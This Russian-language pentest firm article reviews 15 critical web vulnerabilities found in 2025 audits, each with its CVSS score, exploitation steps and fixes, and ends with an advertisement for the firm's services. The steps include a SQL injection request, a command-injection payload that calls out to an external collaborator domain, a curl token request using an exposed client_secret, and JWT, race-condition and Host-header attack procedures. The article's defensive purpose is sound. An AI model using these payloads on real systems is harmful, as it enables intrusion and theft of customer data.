15 критичных уязвимостей 2025 года по итогам реальных пентестов

В 2025 году специалисты АБП2Б провели десятки тестирований на проникновение для российских компаний — от небольших стартапов до крупных корпораций в банковской сфере, фармацевтике, ритейле и промышленности.

Казалось бы, сейчас все говорят о кибербезопасности. Требования к защите критической инфраструктуры ужесточаются, компании нанимают специалистов по ИБ, внедряют системы мониторинга. Но на практике картина оказалась неутешительной: одни и те же критические ошибки повторяются из проекта в проект, словно о них никто не знает.

Вот главная цифра, которая показывает масштаб проблемы: в 91% протестированных систем мы нашли хотя бы одну критическую уязвимость. Это серьёеные дыры, которые позволяют получить полный доступ к данным клиентов или взять под контроль всю систему. Оценка по шкале CVSS — 9.0 и выше из возможных 10.

Что самое показательное — большинство этих уязвимостей давно известны и описаны в учебниках. SQL-инъекции, открытые отладочные панели, пароли в коде, отсутствие проверки прав доступа. Это базовые ошибки, которых можно избежать еще на этапе разработки.

В этой статье мы разбираем 15 самых частых и опасных уязвимостей, которые мы находили в 2025 году. Все примеры — реальные кейсы из наших пентестов.

Критичность: CVSS 10.0 (критический)
Вектор CVSS 3.0: AV: N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N

Описание методики тестирования:
Использовалась методика автоматизированного тестирования (фаззинга) и ручного сбора конечных точек API.

Описание уязвимости:
В ходе исследования ресурса была обнаружена прямая ссылка, которая выводит информацию о клиентах банка и включает в себя такие данные, как id, contactfio, phone, email, number, type, inn, lastlogintime. Все данные схожи с отображением в личном кабинете ресурса. Также присутствует потенциальная уязвимость удаления данных клиентов.

Влияние на систему:

1. Утечка конфиденциальных данных клиентов.
2. Потенциальное изменение целостности данных банка.

Эксплуатация уязвимости:

1. Этап перечисления директорий (фаззинг). Была запущена утилита перечисления директорий «FeroxBuster» с списком директорий «/seclists/Discovery/Web-Content/raft-medium-directories.txt». В результате работы утилиты была выявлена директория «/api/clients» при переходе которой пользователю отображалась вся информация о клиентах (id, contactfio, phone, email, number, type, inn, lastlogintime и т. д) банка, которая отображается в личном кабинете пользователя.
2. Этап ручного перечисления. Далее была выполнена попытка GET-запроса к пользователю по UUID: /api/client/{Client_UUID}. Идентификатор был получен ранее из /api/clients. В ответе получен JSON-объект с подробной информацией о пользователе.

Рекомендации:

1. Перенести open-crm.example.com и crm.example.com во внутренний периметр, ограничив внешний доступ.
2. Внедрить обязательную авторизацию и контроль прав доступа для всех API-методов.
3. Настроить ACL или WAF для ограничения методов GET и DELETE только для авторизованных пользователей.

Критичность: CVSS 10.0 (критический)
Вектор CVSS 3.0: AV: N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Описание методики тестирования:
Ручной анализ на наличие уязвимостей типа SQLi.

Описание уязвимости:
На веб-сервисе присутствует тестовый API, который позволяет искать товары. При вводе спецсимволов в одно из полей было обнаружено, что ответ сервера изменяется. Далее была получена выдача всех товаров с помощью спецсимволов, что свидетельствует об отсутствии экранирования запросов к БД.

Влияние на систему:

1. Кража БД с конфиденциальными данными.
2. Удаление БД.
3. Создание аккаунта с правами администратора для дальнейших атак.

Эксплуатация уязвимости:

1. С помощью Burp Suite перехватить запрос к странице по указанному адресу.
2. Поменять запрос на следующий:

POST /api/ HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86₆₄; rv:109.0) Gecko/20 100 101 Firefox/115.0
Accept: text/html, application/xhtml+xml, application/xml;q=0.9,image/avif, image/webp,*/*;q=0.8
Accept-Language: en-US, en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 156
{"method":"getElementsPathByID","node_id":"2a17a3e9−8331−4c62-ba70−97bf292de889″,
«products»:{"asd'or'1'='1″:"","7a822c80-d429−11e1−80d5−00125d208623″:""}}

В ответе будет выдача всех товаров, а не только переданных в запросе.

Рекомендации:
Заменить запросы к БД на параметризованные.

Критичность: CVSS 10.0 (критический)
Вектор CVSS 3.0: AV: N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Описание методики тестирования:
Проведен сбор электронных почт и номеров телефона в открытых источниках (OSINT). Проведена атака грубой силы с использованием словаря с популярными паролями. Использовалась уязвимость выполнения команд (RCE) и SQL на сервере с помощью функционала Bitrix.

Описание уязвимости:
При тестировании обнаружено, что отсутствует парольная политика и при регистрации учетной записи автоматически присваивается пароль, который состоит из 6-ти цифр. Данный пароль не является безопасным.

Для получения доступа к административной панели произведена атака грубой силы с использованием популярных паролей.

Влияние на систему:

1. Удаленное выполнение команд (RCE).
2. Выполнение SQL запросов с помощью функционала Bitrix.

Эксплуатация уязвимости:

1. Произведен сбор номеров телефона, электронных почт в открытых источниках.
2. Произведена атака Brute Force с использованием популярных паролей.
3. С помощью формы авторизации ресурса удалось получить доступ к административной панели Bitrix.
4. Удалось выполнить команду на сервере с помощью файла (/php_command_line.php), также удалось выполнить SQL запрос с помощью файла (/sql.php).

Рекомендации:

1. Включить защиту административной части в настройках проактивной защиты Bitrix
2. Внедрить механизм captcha на форму авторизации сервера.
3. Внедрить парольную политику, которая будет исключать использование небезопасных и популярных паролей.

Критичность: CVSS 10.0 (критический)
Вектор CVSS 3.0: AV: N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Описание методики тестирования:
Автоматизированный перебор доступных файлов.

Описание уязвимости:
Доступны файлы на тестовом сервере, содержащие данные с информацией об устройстве бэкенда. Присутствует возможность подключения к базам данных на этом же хосте.

Влияние на систему:
Полный доступ к данным клиентов и сотрудников, потенциально исполнение кода на серверах компании.

Эксплуатация уязвимости:

1. Были найдены следующие файлы, содержащие конфиденциальную информацию:

• ○ /nginx.conf
• ○ /www/bitrix/.settings.php

1. С помощью информации из файла можно подключиться к БД на этом же хосте с правами администратора.

Рекомендации:

1. Удалить директорию с приватными данными из доступных извне.
2. Сменить утекшие пароли.

Критичность: CVSS 10.0 (критический)
Вектор CVSS 3.0: AV: N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Описание методики тестирования:
Использовалась методология тестирования OWASP A03:2021-Injection.

Описание уязвимости:
Веб-ресурс имеет форму обратной связи, которая уязвима к внедрению команд.
Для тестирования данной уязвимости вводилась команда «nslookup <collaborator>».
Форма обратной связи использует сторонний ресурс, который является уязвимым.

Влияние на систему:
Выполнение команд со стороны сервера (стороннего ресурса).

Эксплуатация уязвимости:

1. Выполним переход по ресурсу.
2. В форму обратной связи введем полезную нагрузку: cayay73050+||nslookup+t.r6y3wpw9zpi2lnqoibzaa5xep5vwjn7c.oastify.com||@betzenn.com
3. В Collaborator получим DNS обращение. Это дает нам понять, что уязвимость присутствует на сервере.

Рекомендации:

1. Если сторонний ресурс формы обратной связи принадлежит компании, то внедрить механизмы валидации пользовательского ввода, которые ограничивают использование специальных символов.
2. В случае, если сторонний ресурс не принадлежит компании, то ограничить использование стороннего ресурса.

Критичность: CVSS 10.0 (критический)
Вектор CVSS 3.0: AV: N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Описание методики тестирования:
Путём ручного просмотра веб-приложения и анализа HTTP-ответов было обнаружено, что Laravel Debugbar активен в публичном доступе и доступен неавторизованному пользователю.

Описание уязвимости:
На веб-ресурсе обнаружена отладочная панель Laravel Debugbar. Наличие Debugbar раскрывает информацию, включая:

• маршруты;
• SQL-запросы;
• логи;
• пути к файлам проекта.

Влияние на систему:

1. Компрометация архитектуры приложения.
2. Утечка конфиденциальной информации о внутреннем устройстве приложения.
3. Получение доступа к страницам пользователей.
4. Получение смс-кода, отправленного для подтверждения на телефон жертвы.

Эксплуатация уязвимости:

1. Laravel Debugbar записывает все действия, которые происходили с веб-ресурсом и хранит не более 2х суток.
2. При отправлении запроса «GET /_debugbar/open?method=POST» можно получить весь список отправленных данных пользователей. Метод можно изменять, а также добавлять и другие фильтры.
3. При получении нужного ID, можно прочитать сам запрос с его содержимым «GET /_debugbar/open?op=get&id=<ID>», где <ID> - идентификатор, который мы получили ранее. В данном примере мы обнаружили банковскую карту пользователя и его номер телефона, также сессионный токен «Bearer <Token>».
4. При использовании данного токена, мы видим, что нам удалось захватить сессию.

Рекомендации:
Отключить Laravel Debugbar.

Критичность: CVSS 9.9 (критический)
Вектор CVSS 3.0: AV: N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L

Описание методики тестирования:
Анализ конечных точек и их модификация с целью определения раскрытие информации.

Описание уязвимости:
Веб-ресурс имеет функционал мониторинга и их различные функции. Найдена возможность выполнить снимок памяти процесса Java неавторизованному пользователю.

Получив снимок процесса Java (heapdump), пользователь может получить чувствительную информацию.

Влияние на систему:

1. Раскрытие чувствительной информации (логины, пароли, сессии, токены, внутренние IP и подобная информация).
2. Использование чувствительной информации для проведения атак (использование сессии и захват доступа).

Эксплуатация уязвимости:

1. Выполним запрос по адресу «/monitoring», получим JSON ответ с функционалом мониторинга.
2. Выполним запрос по адресу «/monitoring/heapdump», получим файл снимка памяти Java размером около 160 мб.
3. Выполним чтение файла с помощью команды string и grep. (strings heapdump | grep <STRING>), получим конфиденциальную информацию (логины, пароли, сессии, токены, внутренние IP и подобная информация).

Рекомендации:

1. Исключить возможность обращения к конечным точкам мониторинга для не аутентифицированных пользователей.
2. Если мониторинг требуется, выполнить перемещение его на внутренний адрес и предоставлять доступ только из внутренней сети.

Критичность: CVSS 9.3 (критический)
Вектор CVSS 3.0: AV: N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N

Описание методики тестирования:
Ручной анализ JavaScript кода на наличие небезопасной информации.

Описание уязвимости:
На клиентской стороне обнаружена утечка конфиденциального OAuth 2.0 client_secret (VITE_CLIENT_SECRET) в публичном JS-файле.

Влияние на систему:

1. Генерация Access Token злоумышленником.
2. Возможный несанкционированный доступ к ресурсам API.

Эксплуатация уязвимости:

1. Используя данные API (/assets/index-BrdLMVMZ.js), можно выполнить генерацию access_token.
2. Произведена генерация «access_token»:

• curl -X POST TARGET/oauth/token -d «grant_type=client_credentials» -d «client_id=2» -d
• «client_secret=BDAFasfAWHHAvakxSWAaFAamNKsCAgSatBIpDebC»

Рекомендации:

1. Удалить «client_secret» из javascript-кода.
2. Удалить переменную VITE_CLIENT_SECRET из javascript-кода.
3. Перегенерировать скомпрометированный client_secret.

Критичность: CVSS 9.1 (критический)
Вектор CVSS 3.0: AV: N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L

Описание методики тестирования:
Регистрация учетной записи и проверка безопасности полученного JWT.

Описание уязвимости:
Приложение использует JWT для аутентификации и авторизации, но он имеет слабый секрет для их подписи. Злоумышленник, подобрав секрет, может вручную модифицировать сессионный токен (JWT), изменять текущего пользователя, уровень привилегий и время жизни сессии.

Влияние на систему:

1. Выполнять перечисление всех пользователей (Получение ФИО, номера телефона, почты).
2. Выполнять захват учетных записей пользователей.
3. Получать доступ в административные панели Birtix.
4. Изменять привилегии пользователя и изменять срок действия токена.

Эксплуатация уязвимости:

1. Выполним регистрацию учетной записи.
2. В «Burp Suite» перехватим запрос с JWT. (Например, /api/v4/site/profile/).
3. С помощью расширения «JWT Editor» выполним атаку грубой силы с целью получения Secret. Сохраним полученный секрет в файл.
4. Выполним изменение JWT с помощью расширения «JSON Web Tokens». Для этого в функционале «Load Secret» загрузим найденный Secret, далее изменим значение «user_id» на произвольный.
5. Перейдем во влкадку запроса «Pretty» и отредактируем заголовок «X-Bearer-Token:», нужно удалить слово «Bearer «(с пробелом в конце). Выполним отправку запроса.
6. В ответе от сервера получим информацию о пользователе.
7. Для получения доступа к «Админ панели Bitrix» было выбрано несколько пользователей, которые могут иметь такие привилегии (обычно, это первые идентификаторы пользователей) и использованы стандартные пароли в панели Bitrix. Таким образом, удалось захватить учетную запись администратора.

Рекомендации:

1. Секрет для подписи JWT должен быть случайно сгенерированным, длиной не менее 256 бит.
2. Использовать асимметричную криптографию (RSA256).

Критичность: CVSS 8.2 (высокий)
Вектор CVSS 3.0: AV: N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

Описание методики тестирования:
Произведена проверка возможности атаки Brute Force на форму авторизации, обнаружено ограничение ввода пароля при использовании более 5 попыток. Данное ограничение можно обойти с помощью атаки Race Condition.

Описание уязвимости:
Уязвимость возникает из-за отсутствия синхронизации при обработке параллельных запросов на авторизацию. Несмотря на реализованное ограничение количества попыток ввода пароля (например, 5 попыток), ограничение можно обойти путём одновременной отправки большого количества запросов, один из которых содержит корректные учётные данные.

Это возможно благодаря состоянию гонки (Race Condition), когда сервер обрабатывает несколько параллельных авторизационных запросов до того, как блокировка на количество попыток срабатывает.

Влияние на систему:
Захват учетной записи пользователя.

Эксплуатация уязвимости:

1. С помощью Burp Suite перехватим запрос авторизации.
2. С помощью Burp Suite Repeater создадим группу с 15-ю запросами, 1 из которых с верным паролем.
3. Выберем отправить запросы параллельно.
4. Смотрим каждый запрос и видим, что пароль подошел на 8-ом запросе.

Рекомендации:

1. Разработать механизм аутентификации в котором, если пароль будет введен верно, то запрашивать код из электронной почты или смс-сообщения (2fa).
2. Внедрить защиту от параллельных попыток.
3. Реализовать защиту по CAPTCHA.

Критичность: CVSS 8.8 (высокий)
Вектор CVSS 3.0: AV: N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Описание методики тестирования:
Использование функционала сброса пароля совместно с уязвимостью внедрения заголовка (Host Header Injections).

Описание уязвимости:
При сбросе пароля пользователю отправляется письмо со ссылкой, содержащей токен восстановления, при формировании этой ссылки используется заголовок «Host» из входящего запроса, что позволяет злоумышленнику подменить его на собственный домен. В результате пользователь получает письмо с поддельной ссылкой, ведущей на сторонний сервер, где атакующий перехватывает токен сброса пароля и получает доступ к учетной записи.

Влияние на систему:
Уязвимость позволяет выполнить захват учетной записи любого пользователя, зная его email. Это может привести к полной компрометации аккаунтов и несанкционированному доступу к данным и функциям системы.

Эксплуатация уязвимости:

1. Воспользуемся функционалом восстановления пароля и внедрим ранее созданный домен в заголовок Host.
2. Пользователь получит письмо на электронную почту с поддельной ссылкой восстановления пароля.
3. При переходе по ссылке восстановления пароля, злоумышленник, исследуя логи сервера, получит токен для восстановления пароля учетной записи.
4. Злоумышленник, используя данный токен, получает возможность изменения пароля учетной записи.
5. Удалось выполнить имитацию атаки и захватить доступ к учетной записи пользователя.

Рекомендации:

1. Исключить возможность использования внешнего значения заголовка Host при генерации ссылок в письмах. Использовать строго заданный домен из конфигурации сервера.
2. Выполнять валидацию заголовка Host со стороны сервера, если заголовок не принадлежит домену, то возвращать ответ с кодом 500 (Server error).

Критичность: CVSS 8.2 (высокий)
Вектор CVSS 3.0: AV: N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L

Описание методики тестирования:
Произведена разведка с использованием ресурса search.censys.io. В ходе фаззинга директорий обнаружена отладочная конечная точка «/debug/pprof», доступная без аутентификации.

Описание уязвимости:
Уязвимость CVE-2019−11 248 связана с тем, что отладочная конечная точка «/debug/pprof» (Go pprof endpoint) доступна без аутентификации через сервис node-exporter. Это позволяет злоумышленнику получить подробную информацию о внутреннем состоянии процесса.

Влияние на систему:

1. Раскрытие конфиденциальной информации.
2. При определенных условиях отказ в обслуживании сервиса.

Эксплуатация уязвимости:

1. Выполним запрос по адресу «/debug/pprof/», получен HTML-интерфейс с доступными профилями.
2. Выполним запрос с помощью Debug по адресу «/debug/pprof/goroutine?debug=2», получена информация о текущих goroutines.
3. Дополнительно, доступен «/metrics», раскрывающий метрики приложения.

Рекомендации:

1. Ограничить доступ к «/debug/pprof» и «/metrics» с помощью фильтрации IP адресов.
2. Ограничить доступ к «/debug/pprof» и «/metrics» с помощью аутентификации (Basic Auth, Token).
3. Отключить pprof на продакшн сервисах, если не используется.
4. Обновить компоненты node-exporter до последний версии.

Критичность: CVSS 8.0 (высокий)
Вектор CVSS 3.0: AV: N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Описание методики тестирования:
Тестирование выполнено согласно методологии OWASP API Security Top 10 — API2:2023 (Broken Authentication).

Описание уязвимости:
Уязвимость Broken Authentication проявляется в отсутствии аутентификации при выполнении чувствительных действий. В частности, изменения пароля учетной записи без подтверждения ввода текущего пароля.

Влияние на систему:
Захват учётной записи путём замены пароля на доступной учетной записи.

Эксплуатация уязвимости:

1. Выполнить авторизацию на ресурсе (имитация получение доступа к учетной записи).
2. Используя функционал изменения пароля учетной записи, обнаружено, что данный функционал не выполняет повторную аутентификацию. «/personal/change-password/»

Рекомендации:
Требовать повторную аутентификацию (ввод пароля) перед изменением чувствительных данных.

Критичность: CVSS 7.7 (высокий)
Вектор CVSS 3.0: AV: N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Описание методики тестирования:
Ручное тестирование функционала с целью получения конфиденциальной информации.

Описание уязвимости:
Веб-ресурс позволяет авторизованному пользователю выполнить фаззинг идентификатора, что приводит к раскрытию пользователей CRM системы.

Влияние на систему:
Раскрытие ФИО, email, номера телефона и предпочтительный способ связи пользователей CRM системы.

Эксплуатация уязвимости:

1. Выполним регистрацию на ресурсе.
2. Выполним создание черновика.
3. Выполним модификацию данного запроса с помощью «Burp Suite» модуля «Repeater». Нужно изменить числовой идентификатор параметра «userId» на произвольный.
4. Отправим данный запрос и обновим страницу с черновиком. В окне черновика будет информация о пользователе.

Рекомендации:

1. Запретить регистрацию произвольным пользователям в CRM.
2. Внедрить контроль привилегий для параметра «userId» в целях контроля подмены идентификатора.

Критичность: CVSS 7.7 (высокий)
Вектор CVSS 3.0: AV: N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:L

Описание методики тестирования:
Анализ исходного кода.

Описание уязвимости:
При исследовании файлов после RCE на другом хосте были обнаружены потенциальные исходники сервиса. В этих исходниках есть множество потенциальных SQL инъекций, но эксплуатировать их не получилось из-за нестабильности сервиса и отсутствия учётной записи, чтобы видеть результаты исполнения команд. Тем не менее, удалось подтвердить, что канал связи и методы из него существуют, следовательно, уязвимость присутствует.

Например, метод «GetPriceItem». В качестве параметра он принимает «ItemId» (записывается в переменную _0×275 495).

Данная переменная напрямую конкатенируется с запросом, что потенциально приводит к SQL-инъекции.

Влияние на систему:
Потенциальный доступ к данным клиентов и сотрудников.

Эксплуатация уязвимости:
Был написан PoC для запросов по вебсокетам. В данном примере делается запрос к существующему методу GetMainContent. В ответ приходит код для рендера страницы на фронтенде приложения. При попытке вызова методов с SQL инъекциями, сервер перестаёт стабильно работать.

Код PoC на node. js:

const io = require («socket.io-client»);

const socket = io («https://example.com», {
transports: ["websocket"],
path: «/socket.io/»,
reconnection: false
});

socket.on («connect», () => {
console.log («Connected to server»);

const payload = {
Method: «GetMainContent»,
Params: {
UID: «PWNED»
}
};
socket.send (JSON.stringify (payload));
});

socket.on ("Events", (data) =>
console.log («Received 'Events':»);
process.stdout.write (JSON.stringify (data) + '\n');
});

socket.on («disconnect», () => {
console.log («Disconnected from server»);
});

Рекомендации:
Заменить все SQL-запросы на параметризованные.

Мы рассмотрели 15 наиболее критичных уязвимостей, обнаруженных в ходе пентестов АБП2Б в 2025 году. Эти кейсы взяты из реальных проектов компаний разного масштаба — от стартапов до крупных корпораций в банковской сфере, фармацевтике, ритейле и промышленности.

Что объединяет все эти случаи? Во-первых, большинство уязвимостей относятся к категории критических (CVSS 9.0−10.0) и позволяют получить полный доступ к системе или данным клиентов. Во-вторых, практически все они могли быть предотвращены еще на этапе разработки, соблюдением базовых принципов безопасного программирования, правильной настройкой серверов и внедрением парольной политики.

Особенно показательно, что одни и те же ошибки повторяются из проекта в проект: открытые debug-панели в production, слабые JWT-секреты, отсутствие авторизации на критичных API, SQL-инъекции из-за неэкранированного ввода. Это говорит не столько о сложности современных атак, сколько о системных пробелах в процессах разработки и тестирования.

Давайте посмотрим на общую статистику наших пентестов за 2025 год, чтобы понять реальный масштаб проблемы.

Распространённость уязвимостей:

• 91% протестированных проектов содержали критические уязвимости
• 67% хранили пароли и секретные ключи в коде или конфигурационных файлах
• 54% были уязвимы к SQL-инъекциям или внедрению команд
• 43% оставляли отладочные панели доступными из интернета
• 38% использовали слабые секреты для токенов или утекшие OAuth ключи

Основные проблемы:

Утечки настроек и паролей.
Компании оставляли включёнными панели отладки на рабочих сайтах, хранили пароли от баз данных в открытых файлах, а секретные ключи — прямо в коде.

Нет защиты доступа.
Важные функции работали без проверки прав — любой человек мог получить чужие данные или выполнить действия администратора.

Слабые пароли разрешены.
Можно было поставить пароль «123 456», и никто не мешал перебирать пароли тысячами попыток.

Не проверяется ввод пользователей.
Через формы на сайте можно было отправить команды базе данных или серверу, и они выполнялись.

Ненадёжные токены.
Токены для входа создавались с простыми секретами, которые легко угадать, а OAuth ключи лежали в открытом коде сайта.

Особенности 2025 года:

• Всё больше компаний используют микросервисную архитектуру, но забывают про защиту от одновременных запросов — это позволяет обходить ограничения на попытки входа;
• Треть проектов хранит секретные ключи в коде сайта, где их может найти любой человек через браузер;
• Классические уязвимости вроде SQL-инъекций и доступа к чужим данным встречаются так же часто, как 10 лет назад.

Рекомендации
Для минимизации рисков компрометации систем рекомендуется:

Организационные меры:

• Проводить регулярные тестирования на проникновение, особенно перед вводом; систем в промышленную эксплуатацию;
• Внедрять автоматизированные сканеры безопасности в CI/CD pipeline;
• Обучать разработчиков принципам безопасной разработки.

Технические меры:

• Никогда не хранить секреты в коде, использовать переменные окружения и защищённые хранилища;
• Всегда валидировать и экранировать пользовательский ввод;;
• Использовать только параметризованные SQL-запросы;
• Отключать все debug-режимы и отладочные endpoints в production;
• Применять криптографически стойкие секреты (минимум 256 бит случайных данных).
• Внедрять обязательную авторизацию для всех API-методов;
• Настраивать парольную политику и двухфакторную аутентификацию;
• Регулярно обновлять компоненты и зависимости.

Для объектов КИИ:

• Выполнять требования приказа ФСТЭК № 239 по обеспечению безопасности значимых объектов;
• Проводить обязательные пентесты перед категорированием объектов КИИ;
• Документировать все найденные уязвимости и меры по их устранению.

Компания АБП2Б проводит комплексные тестирования на проникновение с выдачей детальных отчётов и рекомендаций по устранению уязвимостей.

Что мы тестируем:

• Внешний периметр и веб-приложения;
• Внутреннюю инфраструктуру;
• Мобильные приложения (iOS, Android);
• API и микросервисы;
• Системы на соответствие требованиям к объектам КИИ.

Что вы получаете:

• Детальный технический отчет с описанием уязвимостей, их критичностью по CVSS 3.0 и рекомендациями по устранению;
• Приоритизацию найденных проблем для оптимизации работы по их закрытию;
• Консультации разработчиков при устранении уязвимостей;
• Повторное тестирование для проверки качества исправлений;
• Документацию для предоставления регуляторам (ФСТЭК, ФСБ, аудиторам).

Подробнее об услугах компании АБП2Б на сайте

info@abp2b.com
+7 (812) 500-95-11
abp2b.com